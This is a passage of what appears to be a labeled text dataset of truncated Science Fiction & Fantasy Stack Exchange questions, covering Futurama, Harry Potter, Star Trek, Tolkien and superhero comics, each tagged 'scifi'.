mutual agreement of the two teams' Captains; the latter is very rare, however, as one team would have to lose. (source: HP Wikia on ... ",['scifi'] "Title: Who has been dead (and gotten better) the longest? Body: In super hero comics it's not unknown for a someone to die, then a few issues later get better. But who holds the record for being dead for the longest time (real world time) and coming back? ",['scifi'] "Title: Can Sauron's body from the second age with the ring of power be destroyed without separating the ring? Body: Its depicted that because Isildur chopped Sauron's fingers off and Sauron consequently lost his ring, his body died. But if someone managed to sneak up behind him and strike some fatal blows to him, ... ",['scifi'] "Title: Is it possible to approximate an average wizard's wage? [closed] Body: With all the values of items that are bought and sold in Harry Potter, is it possible to approximate a high/average/low weekly take home pay for a wizard? ",['scifi'] "Title: To whom did Jaime Lannister lose on a previous tournament that people talk about in season one and what was the tournament honoring? Body: To whom did Jaime Lannister lose on a previous tournament that people talk about in season one and what was the tournament honoring? ",['scifi'] "Title: Why does Venom's webbing come from above his wrists? Body: I am watching the 1994 Animated Spider-man series, It seems that in this version, Venom's webbing comes from the white areas on the top of his wrists, why is that? Shouldn't the webbing come from ... ",['scifi'] "Title: Why didn't Loki's staff work on Tony Stark? Body: In the Avengers movie, why didn't Loki's staff work on Tony Stark? My theory is that it had something to do with the Arc Reactor, given the 'clink' sound it made when Loki tapped Tony on the chest. ",['scifi'] "Title: How much of Thor's power could Rogue steal? Body: While my experience with the comics are very limited, Rogue has been one of my favorite X-Men since the Animated Series was on TV when I was a kid. The capability of absorbing an enemy's strengths and ... ",['scifi'] "Title: What's the last episode Master Roshi appears in? Body: In my humble opinion, Master Roshi was probably the most influential to Goku throughout the saga (kamehaha wave, flying nimbus, training, tournaments, etc). Admittedly, I only made it to the very ... ",['scifi'] "Title: Why did cage of Q need to pursue USS Enterprise-D with a finite Warp speed? Body: After first contact with Q, USS Enterprise-D did escape the cage of Q with Warp 9+. The cage started the pursue course to catch Enterprise. And, it overtook Enterprise's speed quickly. It was on Warp ... ",['scifi'] "Title: What side are Rogue and Havok on in Avengers vs X-Men? Body: Marvel has announced a new on-going Avengers/X-Men crossover title called Uncanny Avengers starring: Captain America Thor Scarlet Witch Wolverine Havok Rogue The first four were all on the side of ... ",['scifi'] "Title: What is the maximum effective range of the Death Star's Planet Killer Weapon? Body: As we discussed it in this question, the Death Star can deliver a mind-boggling amount of energy. If it is capable of blowing up an Earth-sized planet, this means the equivalent of the annihilation ... ",['scifi'] "Title: Is Calculon Dead? Body: In the most recent episode of Futurama, Calculon appeared to commit suicide by drinking food colouring (which, everybody knows, is fatal to Robots) and he was still dead at the end of the episode. ... ",['scifi'] "Title: What happens when somebody steps off the Grand Staircase at Hogwarts between floors? Body: Are the students at risk when using the moving stairs when traveling between floors at Hogwarts, or just inconvenienced? It seems fairly dangerous for the stairs to swing from one landing to next, ... ",['scifi'] "Title: What was this story about alien food? Body: I read this short story a few years ago but I cannot remember the title or author. It was about a human scientist on another planet who was studying the native flora and fauna, trying to find ... ",['scifi'] "Title: Who or what is Boss Smiley? Body: In the Sandman story, ""The Golden Boy"", we see a strange figure reappear a number of times called Boss Smiley. He is apparently ""the prince in that world"", and appears at the end of the issue in a ... ",['scifi'] "Title: What are the differences between Spider-man and Ultimate Spider-man? Body: In Spider-men we see the normal and Ultimate universe Spider-mans meet. The normal Spider-man is surprised by Ultimate Spider-man's venom sting and electrified webs. What other differences in powers ... ",['scifi'] "Title: Do the Deathly Hallows provide any extra power when all are possessed by one person? Body: The Deathly Hallows are all very powerful and potent artifacts on their own: a perfect invisibility cloak, the most powerful wand, and a stone that can recall shadows of lost loved ones. That is good ... ",['scifi'] "Title: Could Tom Bombadil have defeated Sauron? Body: There is evidence that Tom Bombadil is unaffected by the One Ring's power and he has magical ways about him that can't be solved. It seems that Tom did nothing during the war of the ring when he was ... ",['scifi'] "Title: Whose bodies are the agents possessing when we first see them? Body: When the agents first appear while some cops are dying inside the Hearth O' The City Hotel at the hands of Trinity, whose body do they posess? Except this scene, most of the time they consider the ... ",['scifi'] "Title: Why is Nibbler's name so close to the species name of the Nibblonians? Body: In the episode ""Love's Labours Lost in Space"" the Planet Express crew goes to Vergon 6. There they find Nibbler, who was named that by Leela. Ahhh, I'll call him Nibbler -Leela So why is the ... ",['scifi'] "Title: Why is Cersei commonly referred to as “Cersei Lannister” instead of “Cersei Baratheon”? Body: I've watched the first two seasons of the TV series, and I'm in the middle of the first book. While reading, I noticed that Catelyn is usually referred to by her married name: Scarlet-tinged ... ",['scifi'] "Title: Farnsworth Hair Color [closed] Body: Fry's brother, father, and nephew have brown hair. The only person other than Fry that Farnsworth inherited from genetically with orange hair would be Fry's mother. Since Philip (nephew of Fry) ... ",['scifi'] "Title: What is the lifespan of Humans in Futurama? Body: As you see in Futurama, people can be very old and still function. The Professor is over 150 and you even see Werstrom passing 120(?). Mom, from Mom's Friendly Robot Company is even older. When ... ",['scifi'] "Title: Why doesnt Alan Scott's Green Lantern ring work on wood or plant material? Body: I know the current Green Lantern Corps has a weakness to the color yellow, but this has been recently explained by Parallax and that the yellow element is the exact opposite of the green element (fear ... ",['scifi'] "Title: Which book to read after Game of Thrones episode 10 of the 2nd season? Body: I just finished watching Game of Thrones and would like to buy the books. Which book corresponds to the part of the story where season 2 stops? Do I need to read the first books as well? Are there ... ",['scifi'] "Title: Fantasy series about magic and non magic humans on related worlds Body: Have been trying to remember this for a while now; there were four books I read them in the late 80's or early 90's, each set in a different, but related, world. Sort of a sword and sorcery theme. I ... ",['scifi'] "Title: What prompted Riker into 'growing the beard'? Body: In season two we see that Riker has grown a new beard. This is widely regarded as the turning point of the show into being a mature sci-fi, and even helped coin the phrase 'growing the beard's. What ... ",['scifi'] "Title: What is the work that had FTL travel but no FTL communications? Body: I remember reading a work (It was most likley a series of books though not 100% sure) that had a universe where there was technology for FTL spaceflight, but no FTL communications (excluding of course ... ",['scifi'] "Title: How does Benders son, Ben, remember how to talk without a memory card? Body: In the episode 'The Bots and the Bees' Bender has a son called Ben and discovers he doesn't have the ability to bend because he doesn't have a bending card. To fix this he gets the Professor to switch ... ",['scifi'] "Title: Does Korra have an Avatar tattoo? Body: Once her bending was restored to her by the spirit of Aang, did Korra get an Avatar tattoo, and if so, what, and where was it? ",['scifi'] "Title: Were the Dursleys the only muggles that could harm Harry at 4 Privet Drive? Body: Dudley could hurt Harry, so Harry wasn't totally safe at his Aunts house. First, were the Dursleys the only muggles that could harm Harry? Second, could the Deatheaters have simply defeated the charm ... ",['scifi'] "Title: What Justice League character featured in JL8? Body: JL8 (formerly Little League) is a webcomic based around the Justice League characters as young children in school. In http://jl8comic.tumblr.com/post/26169864237/ who is the girl in the last panel ... ",['scifi'] "Title: Is there any actual science behind the “time viewing” used in Paycheck? Body: In the movie Paycheck (Wiki, IMDB), it is proposed that one could view the future by shooting a super-powerful laser around the curvature of the universe in such a way that it goes around and ends up ... ",['scifi'] "Title: Were there immortals who did not honor the holy ground tradition? Body: In the original Highlander Ramirez says this to Macleod: You are safe only on holy ground. None of us will violate that law. It's tradition. Even Kurgan obeyed it, despite his lust to have the ... ",['scifi'] "Title: What is the basis for Zapp Brannigan's uniform? Body: In the Star Trek: The Next Generation episodes ""Encounter at Farpoint"" and ""Lonely Among Us"", we see guys in miniskirts. Did those miniskirts inspire Zapp Branigan's outfit? ",['scifi'] "Title: How does Riker hold off against the polywater virus? Body: In The Naked Now the polywater virus seems to go from person to person, infecting them almost immediately. Except with Riker, who holds off until the very end. How does he manage that? ",['scifi'] "Title: Who is the unnamed admiral? Body: In 'Encounter at Farpoint' Data escorts an unnamed admiral onto a shutlecraft. Was the name of this admiral ever mentioned? It looks vaguely like McCoy from The Original Series, but I can't be sure. ",['scifi'] "Title: How many times is the entire universe destroyed in Futurama? Body: At the end of Bender's Big Score, bender releases all of his time-travel copies at the same time causing the universe to cease existing (only Nibbler escapes by consuming himself, thereby exiting the ... ",['scifi'] "Title: Why did dogs become extinct in the future, whereas cats did not? Body: Why exactly did dogs become extinct in the future, whereas cats did not? ",['scifi'] "Title: Why is the Cryogenics Lab in New New York? Body: Fry was frozen in Old New York's Cryogenics Lab and went 1000 years into the future. When he woke he was in New New York. Old New York is under New New York but the Cryogenics lab stays in the same ... ",['scifi'] "Title: Does Springfield still exist in the Futurama future? Body: Does Springfield still exist in the Futurama future? I don't expect to see the characters travel to the future, but if Fry's descendant could survive, so could the Simpsons. ",['scifi'] "Title: An unmanned spaceship's computer suddenly realizes the computer and ship are seriously damaged Body: This is a short story I recall reading somewhere about an unmanned ship's computer. The story begins with a computer's component receiving an unusual signal, but the computer doesn't understand why ... ",['scifi'] "Title: What is the true story of Bender's origins? Body: In the episode ""Lethal Inspection"" it is shown that Bender was made in a factory in Mexico and approved by Hermes Conrad. However, throughout the series Bender makes references to his parents, such as ... ",['scifi'] "Title: Shouldn't Leela's parents' mailbox say “Leela” instead of “Turanga”? Body: How did the writers not notice that the mailbox of Leela's parents says ""Turanga,"" and not ""Leela""? Turanga Leela is Leela's proper name, with Leela being her surname, so shouldn't it follow that her ... ",['scifi'] "Title: How does Bender pick up his arms when they both fall? [closed] Body: Even from the first episode Bender seems to have an unusual power. After his attempt at bending a girder, both of his arms fall off, but somehow the arms pick themselves up. How does he do that? ",['scifi'] "Title: Why are people in “The Duh-Vinci Code” so low-tech? Body: In ""The Duh-Vinci Code"" (S6E5), if all the people on that planet are so intelligent why are they are making wooden machines of everything? ",['scifi'] "Title: In “A Farewell to Arms” wouldn't Earth be destroyed instead of Mars in the parallel universe? Body: In the episode ""The Farnsworth Parabox"" everything that happens in the regular Futurama universe happens the opposite in the other parallel Futurama universe. So if Mars got destroyed in the regular ... ",['scifi'] "Title: Why was Hermes allowed to say “Star Trek” when it is a banned phrase? Body: How come in the episode ""Brannigan, Begin Again,"" Hermes says, ""Star Trek,"" after the professor fails to compare their government to the United Nations to Fry? In a later episode of Futurama it is ... ",['scifi'] "Title: How does human-robot sex work? [closed] Body: When Amy and Bender hooked up, or Fry and his Lucy Liu-bot, and other human-robot couples, how exactly does the sex part work? Do robots have sexual organs? Do they feel pleasure in a way that's ... ",['scifi'] "Title: Does Leela's lack of depth perception ever affect her adversely? Body: Leela, as a Cyclops, does not have Binocular vision, therefore she is incapable of depth perception through Stereopsis. Has this ever been mentioned as a weakness, or ever played against her? ",['scifi'] "Title: Did Ron's Wand Change Its Allegiance to Lockhart in Chamber of Secrets? Body: There was a sudden movement behind them. Gilderoy Lockhart’s knees had given way. ‘Get up,’ said Ron sharply, pointing his wand at Lockhart. Lockhart got to his feet – then he dived at Ron, ... ",['scifi'] "Title: In the movie Waterworld, what's the new sea level height compared to the actual? Body: In the movie Waterworld, starring Kevin Costner, what's the new sea level height compared to the actual? In the opening credits, we see the universal logo and the last portion non flooded is the ... ",['scifi'] "Title: How big was the planet killer from “The Doomsday Machine” episode? Body: I tried to look it up, but all I can find is Commodore Deckers description of the planet killer: ""Miles long, with a maw that could swallow a dozen starships,"" That's pretty big, but how big ... ",['scifi'] "Title: Did Total Recall take place as the induced dream Douglas chose or as a real event in the movie? Body: Douglas goes out of consciousness; and as soon as he does, the movie picks up as if he's really an agent and needs to save Mars. Another way to take it — is that the whole thing really happened as a ... ",['scifi'] "Title: What are the reasons to consider the Merovingian 'very dangerous'? Body: In Reloaded, we learn about the Merovingian from grandma': He's being held prisoner by a very dangerous program, one of the oldest of us. He is called the Merovingian. Why is he a very dangerous ... ",['scifi'] "Title: Why didn't the fighters use force pull/push in the generator complex? Body: When on the bridges/""catwalks"", why didn't neither the Jedi, nor the Sith used the Force to push/pull their enemy to death? The Jedi may had a purpose, but why didn't the Sith use it? Every Jedi ... ",['scifi'] "Title: How does the Alliance work? Body: So, in Firefly, the Alliance controls all of the planets in the system. But I don't think it is ever explained in much detail how that works. Is it a democracy of some kind, or something else ... ",['scifi'] "Title: What is the Republic City Police Force (metalbender cops) insignia? Body: What is the insignia worn by the metalbending cops? The one that looks like a gold geometric ant's head (with mandibles): Is it a spin on something from the previous series? ",['scifi'] "Title: Looking for a story told by intelligent nuclear bombs about the war they had with humanity Body: I'm looking for a science fiction short story I read in a magazine about 20 years ago, with a very similar premise to Dark Star. The story was narrated by a nuclear bomb that was either sentient or an ... ",['scifi'] "Title: How does the command structure of the Machines work? [duplicate] Body: Possible Duplicate: What kind of a political hierarchy do the machines in The Matrix have? While discussing why the Sentinels in The Matrix: Revolutions would participate in a suicide ... ",['scifi'] "Title: Why does the Death Star's superweapon have to be made up of smaller beams? Body: The Death Star utilized eight separate beams into one supermassive blast that was capable of destroying a planet. This required eight emitter stations, and probably precise physics to make them meet ... ",['scifi'] "Title: Most powerful or memorable computer in a novel or movie? [closed] Body: I have two. Iain M Banks Consider Phlebas describes the Minds in comparison to a filing cabinent, and how many cabinents, rooms full of cabinents, planet full of rooms etc etc are required to match ... ",['scifi'] "Title: Book with dwindling crew entering codes to prevent destruction - computer problems Body: When i was younger i found a book from an author i had not heard of before but cant remember its name or the author, The scene is a spaceship on a mission in deep space, the crew (i think there were ... ",['scifi'] "Title: Why did Shran call Archer “Pink Skin”? Body: Andorian skin color was Blue, but humans weren't the first encounter with the totally different skin color. They already knew Vulcans who possessed same pink-ish skin color. Why did Shran really call ... ",['scifi'] "Title: Why did Kif join Earth's army? Body: Was this ever discussed in any episode, or as a side-plot somewhere? ",['scifi'] "Title: How does each bender produce his or her element? Body: In the Avatar series (both The Last Airbender and Legend of Korra) I noticed that there seems to be a difference in how each bender produces their respective elements. A fire bender seems to be able ... ",['scifi'] "Title: What does this quote by Galadriel mean? Body: Micah's recent answer contained the following quote from a conversation in ROTK between Treebeard and the Elves: ... But Galadriel said: ""Not in Middle-earth, nor until the lands that lie under ... ",['scifi'] "Title: When does the Vorkosigan Saga take place? Body: The Vorkosigan Saga by Lois McMaster Bujold is set in the far future. Is it ever established exactly when in the future most of the books take place? ",['scifi'] "Title: Time travel story where the hero repeatedly tries to save a woman using government time machine Body: The hero apparently works at a government facility and repeatedly tried to save a woman from her abusive husband. In one of the iterations a policeman was also killed along with the woman. In the last ... ",['scifi'] "Title: Why didn't Spock save the Romulan Empire by going back in time? Body: In Star Trek: Countdown comic series, Spock failed to create Red Matter on time (before the Romulan Empire got destroyed by a Hobus supernova). Despite Nero's excuses, Spock was a good guy. He ... ",['scifi'] "Title: Why did direct intervention by the Valar lead to major destruction and other negative consequences? Body: It's known that the last time the Valar tried to directly interfere in Middle-Earth, Bad Things Happened (which led to the Istari only being allowed to lead/guide Middle-Earth's peoples instead of ... ",['scifi'] "Title: Name this children's sci fi show from my childhood Body: I am trying to remember what this show was from when I watched it in my childhood (I grew up in the 90's). It was a sci-fi television series with a crew of children/young adults that were stranded in ... ",['scifi'] "Title: Who was the first Avatar? Body: Who was the first avatar in the Avatar (the last airbender) universe? How did they achieve their powers? And why is there only one? ",['scifi'] "Title: Why are the Istari only allowed to inspire? Body: It its known that the Istari were sent to Middle Earth to aid in the battle against Sauron, being only allowed to inspire and no direct actions could be taken. But, why is this? Could this rule be ... ",['scifi'] "Title: What did the nine achieve? Body: As a follow up to this question: What did the nine actually achieve for their master during the war of the ring? The only major thing I can think of is that they killed Theoden. ",['scifi'] "Title: Did the Turtles ever wear colored masks in the comics? Body: I know that in the original comics (at least the first few issues I've read), the Teenage Mutant Ninja Turtles all wore the same colored masks, and that it was only in the 80's animated series did ... ",['scifi'] "Title: How can Bender not know how robot procreation works? Body: After watching the first part of the new season premiere, something struck me: How can he not know how this works, or more to the point, fail to even realize that it is a thing? Edit: Realizing ... ",['scifi'] "Title: Question relative to the end of Mass Effect 3 and the Fleet Body: Obvious spoilers: ",['scifi'] "Title: Why the effective military strength affect the ending of Mass Effect 3? Body: Mass Effect 3 has different ending depending of your actions through the game, I'm not asking what action affect this (it's described here), but Why? (Obvious spoilers): Comment useless to post : ... ",['scifi'] "Title: Looking for title of TV series about boy and an alternative world Body: In the middle of 2000 - 2010 I saw a TV series about a boy, who after school went to work for an old man at a shop. I don't remember clearly but shop sells old artifacts, books, suchlike. This boy ... ",['scifi'] "Title: What comic book line does The Amazing Spider-Man hope to follow? Body: Keen sets up in his answer Is The Amazing Spider-Man part of the Marvel Cinematic Universe? that the new movie is a Sony, and as such does not have to fit into the Marvel Cinematic Universe, which ... ",['scifi'] "Title: Looking for the title of an anime movie I saw in the 80s Body: I'm from the Netherlands and we used to have filmnet at home, a paid movie channel. They would always show anime movies in the weekends. I think this movie was on in 1985/ 1986, something like that. ... ",['scifi'] "Title: Precisely How Does the Fidelius Charm Work? Body: I've read J.K. Rowling's website and FAQ. I've read every interview with her that I know of. I've read all the books many, many times. I've read the HP Wikia, the Lexicon, essays, fan fiction, and ... ",['scifi'] "Title: Why would the colonists choose that location for their city? Body: In the re-imaged version the colonists eventually find a planet which they attempt to settle on. Here we see their newly formed city. Devoid of plant life, dusty, dirty, and sad. Sure, they have a ... ",['scifi'] "Title: What is the current main source of power in Futurama? Body: What kind of power do the people of Futurama use currently? In the film Bender's Game, Farnsworth rendered all dark matter inert with his anti-backwards crystal. After that, he ""invented"" a new ... ",['scifi'] "Title: Which is stronger, Kaio-Ken or Super Saiyan? Body: Is there any evidence that points to which is stronger, either reaching max level of Kaio-Ken or the max level of Super Saiyan? When Goku reached the highest level of Kaio-Ken, he seemed like he could ... ",['scifi'] "Title: Why did this character in Prometheus kill without reason? Body: I was not able to understand why he goes mad. Why does he kill without reason? ",['scifi'] "Title: Did Trinity think she would survive jumping out of a window? Body: In Reloaded, Trinity jumps out of the a window while fighting Agent [Thompson?]. Did she hope that she could survive the fall if no bullet hits her? Or what's her point? In the Final Fight of the ... ",['scifi'] "Title: Trying to find the title of an old movie about a robot like WALL-E Body: I saw this movie when I was a kid. At the end of the movie, the robot was left behind in a broken space ship taking care of the plants. ",['scifi'] "Title: Can Captain America be Poisoned? Body: In the film, Captain America says he can't get drunk, because his body processes the toxins too quickly. Can he be poisoned (or get drunk) if the concentrations are high enough so that he couldn't ... ",['scifi'] "Title: Why does the Batmobile have a changing seat? Body: In the Christopher Nolan Batman trilogy, the Batmobile has the driver's seat change between driving and attack modes. Is there an explanation for this? It seems like the ""attack"" mode would be hard on ... ",['scifi'] "Title: Is there any information in canon to indicate that Dumbledore knew that the Marauders were Animagii? Body: Is there any information in canon (or from JKR) to indicate that Dumbledore knew that three of the Marauders were Animagii? I can't recall anything, but Harry seems to be firmly convinced that ... ",['scifi'] "Title: Spider man movies - how many exist? [closed] Body: How many spider man movies have there been? What about TV series? Are any coming to theaters soon? ",['scifi'] "Title: First Amalgamated Church Body: In Futurama there are a series of religions, the most diverse being the robot faith. The reason for that is because Religions of Earth joined into one religion. Why and when did the Religions combine ... ",['scifi'] "Title: Would Wolverine continue to function in a vacuum? [duplicate] Body: Possible Duplicate: Can Wolverine survive without oxygen? The questions How to kill Wolverine? and Can Wolverine swim? don't seem to address what happens when Wolverine is in an oxygenless ... ",['scifi'] "Title: Is there any significance to Lily Luna Potter's middle name? Body: All of Harry's other children played a serious part not just in his life, but in the second wizarding war: James Sirius Potter, and Albus Severus Potter. Whereas Lily Luna Potter takes her middle ... ",['scifi'] "Title: Why couldn't Voldemort trace Harry's residence and kill him? Body: As we all know that Voldemort had one of his horcruxes in as Harry himself, but sighting that he would be defeated at the hands of harry, why didn't he - the Dark Lord - take a look into the future to ... ",['scifi'] "Title: What does the Middle Man say in Hebrew? Body: In the Middle Man comic, the Entering Dragon Conundrum, the Middle Man claims to be Mossad but is casually ""tested"" by a museum curator by speaking Hebrew to him. The Middle Man's response leaves the ... ",['scifi'] "Title: Who sent the poster ninjas after Scott Pilgrim? Body: In the Free Comic Book Day comic of Scott Pilgrim, he's attacked by eight teenage girl ninjas who materialize out of posters. I don't remember a reference to this in the standard comics and it ... ",['scifi'] "Title: Why did Snape have it in for Neville? Body: It's clear why Snape picked on Harry (because of James); or on Hermione (Harry's friend; and ALSO a Gryffindor, AND a muggleborn, with audacity to know the subject and annoyance of showing it off when ... ",['scifi'] "Title: Powers of Stephen Hawking Body: In the ""Crimes of the Hot"", most, if not all, of Earth's scientists gathered to a single location to try and solve the global warming crisis. During the convention, Dr. Hubert Farnsworth and Dr. ... ",['scifi'] "Title: Who was the first metahuman in the DC Universe? Body: I am asking about the first super-powered human to have been born with powers in the DC Universe (as in the first one created by DC writers). So that excludes Superman (not a human), and anyone who ... ",['scifi'] "Title: Can a Witch or Wizard pick up an abandoned wand and identify its owner? Body: Could Dumbledore and the rest of the Hogwarts Professors pick up another Wizard's wand and identify its owner without having seen the wand before? ",['scifi'] "Title: How was J recognised as a MiB agent when K wasn't alive to recruit J? Body: In the Men In Black 3 movie, the timeline was altered after K was killed in 1969. In the new timeline, K wasn't alive to recruit J. So, how did everyone (O, etc.) recognise J? ",['scifi'] "Title: Where did Philip J. Fry get his name? Body: Fry got his middle initial of J in the same place as Homer J. Simpson. What about his first and last name? Where do Philip and Fry come from? Perhaps it is based on Philips the company, and Fry's ... ",['scifi'] "Title: Why does Bender try to commit suicide if he thought he could just back himself up? Body: Bender usually tries to commit suicide in Futurama despite the thought he could back himself up to a new body. Why does Bender try to commit suicide if he thought he could just back himself up? ",['scifi'] "Title: Do Hutts find humanoid females attractive, and if so why? Body: Jabba the Hutt kept scantily clad humanoid slaves. Jabba even tried to make out with Leia. But IIRC Hutts are hermaphrodites and of course should by all biological reasoning not be attracted to ... ",['scifi'] "Title: Most ancient non-muggle events or persons mentioned in Harry Potter? Body: What's the most ancient non-muggle event or person ever mentioned in the Harry Potter series? How far back in history do references go? I know that Merlin is mentioned... any further back? ",['scifi'] "Title: Why are droids tortured? Body: Bitmask took this photo while attending the Star Wars Identities Exhibition : I remember this scene from one of the original trilogy movies. I also remember the droid was ""screaming"" as it was ... ",['scifi'] "Title: Harry Potter for Adults Body: I have heard rumors that there is Adult versions of the Harry Potter book series that were only released in Europe. Not porn type adult but more graphic in nature. In this series supposedly Dumbledore ... ",['scifi'] "Title: How do magic users learn memory modification and other advanced charms? Body: As far as I know, there's no mention of Memory Modification charms being taught at Hogwarts in class. Or any other non-school-level magic. Also, as was established on SFF before, there's no ... ",['scifi'] "Title: How come Hermione tried spells before boarding the Hogwarts Express? Body: OK, so here is a sequence of facts: It's prohibited to use magic in Muggle areas. Before boarding Hogwarts Express, Hermione lived in a Muggle area. (this one I'm less sure about) Hermione and her ... ",['scifi'] "Title: Who built Hogwarts? Body: Did JKR explain how the Schools founding Wizards got the castle? Did they charm muggles into building it, did they buy it from the Romans, or is there another answer? ",['scifi'] "Title: How much DNA do Fry and the Professor share? Body: Seeing how in addition to being the professor's great ... great uncle, he is also his great ... great great great grandfather, assuming no further interbreeding, how much of the professor's DNA comes ... ",['scifi'] "Title: Futurama's Mutants Rights Body: In Futurama, there are large numbers of mutated humans on Earth, who are treated very poorly. They are an underclass, figuratively and literally. Is there ever any explanation given for this? ... ",['scifi'] "Title: The Worth of Diamonds Body: In Futurama, diamonds are everywhere. Farnsworth and Wernstrom have made a Diamond similar rock, diamondillium and dimondium, Bender cut some glass to steal Le Grand Cigar, and the Native Martian's ... ",['scifi'] "Title: Which Spider-Man is he? Body: This concerns the identity of a Spider-Man in the new 5-issue miniseries Spider-Men. Spoiler text to protect the innocent: ",['scifi'] "Title: Are all robots in the Futurama universe fueled by alcohol? Body: While Bender is a notoriously prolific drinker, we learn that this habit is actually how Bender fuels himself, and without drinking alcohol he will grow a rust beard and act like a human would when ... ",['scifi'] "Title: The Doctor is Half Human? Body: Is the concept of The Doctor being half-human (as mentioned in the 1996 movie) ever mentioned again, and confirmed to be part of the universe's canon? Or was this thrown away in the 2005 series, and ... ",['scifi'] "Title: What was the purpose of the Legion of Mad Fellows? [closed] Body: After the Encyclopod Egg hatched ensuring a new green age, their purpose was fulfilled. They no longer had to try and hatch or protect the Egg. What do they do now? They have a genetic advantage ... ",['scifi'] "Title: The Bermuda Tetrahedron Body: A giant space whale from a different dimension lives at the Tetrahedron of Space. Able to breathe vacuum and has an infinite bowel system that defies time itself. Are there any other creatures from ... ",['scifi'] "Title: Why did Mad Eye need to use the trophy as a portkey when he could have used anything else? [duplicate] Body: Possible Duplicate: Why was the Triwizard Cup used as the portkey? In an otherwise untainted and freakin' awesome series, J.K. Rowling leaves a hole that cannot be ignored: Why did Moody, ... ",['scifi'] "Title: Has French fallen out of use? Body: ""This is my Universal Translator, although it only translate into an incomprehensible dead language"" When Cubert speaks into it 'Hello', it responds 'Bonjour'. Does this mean French is a dead ... ",['scifi'] "Title: Why doesn't Nemo notice the dampness of the tablecloth in LXG? Body: In How is the tablecloth getting covered in blood in LXG? I was wondering why blood suddenly appeared on the tablecloth in the League of Extraordinary Gentlemen, vol. 2, before realising it was there ... ",['scifi'] "Title: Why wasn't Hagrid allowed a wand after Chamber of Secrets? [duplicate] Body: Possible Duplicate: Why Couldn't Hagrid Have a Functional Wand? Hagrid was originally expelled from Hogwarts and his wand broken due to the testimony of Tom Riddle and his possession of ... ",['scifi'] "Title: How many times did Mom and the Professor actually date? Body: In several episodes you get a rehashing of Dr. Farnsworth and Mom's relationship but it always seems to start in different ways. How many times did they actually date? ",['scifi'] "Title: How did ancient civilizations obtain the information to create the star map? Body: The star map found in all those ancient civilizations pointing to the Engineer outpost - do we know anything about how the ancients obtained the information needed to create the star map? It has to ... ",['scifi'] "Title: How was the Golden Condor able to fly? Body: In the 80's TV cartoon The Mysterious Cities of Gold there was a Golden Condor: I remember it was somehow solar-powered, but I don't remember how it flew. For instance, it did not flap its wings to ... ",['scifi'] "Title: Why was Season 5 of Futurama composed of films? Body: Why was it that season 5 of Futurama was entirely composed of films? ",['scifi'] "Title: Have the Colonial Marines met the Aliens before? Body: In the movie Aliens (1986), the following exchange occurs as the marines are on route to the stricken colony: Hudson: Is this gonna be a standup fight, sir, or another bughunt? Gorman: All we ... ",['scifi'] "Title: How did they assemble the head collection at New New Yorks Head Museum? Body: I love the Head Museum! How did they manage to get their lively pre 30th century exibits? ",['scifi'] "Title: Are the owls in Futurama a backwards reference to Blade Runner and Do Androids Dream of Electric Sheep? Body: Owls in Futurama are so numerous and plentiful that they are considered a pest. Conversely, the electric owl in Blade Runner represents something beautiful that no longer exists. And in a larger ... ",['scifi'] "Title: How old is Hermes Conrad? Body: In Lethal Inspection... Stop here if you have not seen the episode ",['scifi'] "Title: How old is Dr. Zoidberg? Body: In The Tip of the Zoidberg we learn that the Professor and Zoidberg have known each other for around 85 years, since 2927. However in the episode That's Lobstertainment we see a film from only 5 years ... ",['scifi'] "Title: How long has Zoidberg worked for Planet Express? Body: In the episode Möbius Dick, Zoidberg is shown to be working for Planet Express 50 years ago. In an earlier episode, Insane in the Mainframe, he receives an award from Hermes for 10 years of service. ... ",['scifi'] "Title: Sci-fi Book about The Wall and a group of schoolchildren who fight the dark forces who roam north of it. Body: Trying to remember the name of a book i can only just remember. It was for older children -and was something about The Wall and north of it are ancient and scary otherworldly forces (not ... ",['scifi'] "Title: Did Darwin die or survive when Sebastion Shaw put energy in his mouth Body: In X-Men First Class, we never see if Darwin actually died. Did he die or did he survive somehow? ",['scifi'] "Title: In X-Men: First Class, is Alex Summers related to Scott Summers? Body: If they are related, then what is his relation to Scott Summers and how does this explain the age gaps between Scott and Professor X? ",['scifi'] "Title: Superhero's secret identity Body: As you know from The Incredibles, superheroes were 'outlawed' and any superhero was just to settle down. Mr. Incredible didn't want to settle down and actually had to move constantly because of his ... ",['scifi'] "Title: How long can Tony Stark survive without his chest piece? Body: We see a few times where Tony Stark with without a power source for his chest: First Movie: When he has Ms. Potts connect the Mark II chest piece When Stane removes his Mark II chest piece When the ... ",['scifi'] "Title: Where does the inorganic plasmic discharge go? Body: In the movie Iron Man Tony Stark and Pepper Potts have this exchange when he switches to the Mark II chest piece. Potts: Oh, there's pus! Stark: It's not pus. It's an inorganic plasmic ... ",['scifi'] "Title: Why doesn't Bane reveal Batman's identity? Body: In the Knight Fall series the following events occur: Why wouldn't / didn't / hasn't Bane revealed his knowledge of Batman's secret identity? ",['scifi'] "Title: Are humans on Barsoom/Mars the same species as Earth's humans? Body: As it was noted here, some of Barsoom's population really look like Earth's humans. Is there a link between Earth's human population and Mars? Are humans originally from Mars and then populated ... ",['scifi'] "Title: Why was it likely that the Ents went to their doom? Body: When the Ents marched on Isengard in the movie version of The Two Towers, Treebeard said that ""it is likely that we go to our doom"". In the battle itself, however, the Ents seemed to do better than ... ",['scifi'] "Title: How do things fly in John Carter? Body: Here's an image of some airship in the John Carter movie. The way they fly doesn't seam to be explainable on the basis of any know aeronautic principle. So, how do they fly? ",['scifi'] "Title: Why Did Voldemort Give Lily So Many Chances to Live? [duplicate] Body: Possible Duplicate: Why would Voldemort spare Lilly? J.K. Rowling has said that while James Potter would have been killed by Voldemort no matter what, Voldemort gave Lily Potter quite a few ... ",['scifi'] "Title: What evidence exists supporting that Roddenberry thought of TOS as non-canon? Body: I've seen some people claiming (and some repeating it) that Gene Roddenberry intended TOS to be excluded from Star Trek canon after making the first episodes of TNG. I failed to find any evidence ... ",['scifi'] "Title: Exactly what happened to Uncle Owen and Aunt Beru? Body: When Luke returns to the homestead, he finds them in a state quite unlike anyone else we see in the series. What, precisely, did the stormtroopers do to them, and why not just shoot them? ",['scifi'] "Title: Why call it Star Trek? [duplicate] Body: Possible Duplicate: Why was the word “Trek” used in Star Trek? When you think about it, the ""Trek"" part of ""Star Trek"" isn't all that appropriate. The Original Series revolved ... ",['scifi'] "Title: Why Didn't Snape Take Out Wormtail? Body: It occurred to me to ask why Snape, who knew Lily very well and had watched her become friends with James Potter and the other three Marauders, didn't himself take out Wormtail once it became known ... ",['scifi'] "Title: Is there any significance in N355 FWU? Body: This was always a doubt for me, and I never found out anything about it. Is that any significance for N355 FWU? This appears in the episode ""The age of steel"" in second season (it's the number plate ... ",['scifi'] "Title: Are there vampires in Star Wars? Body: 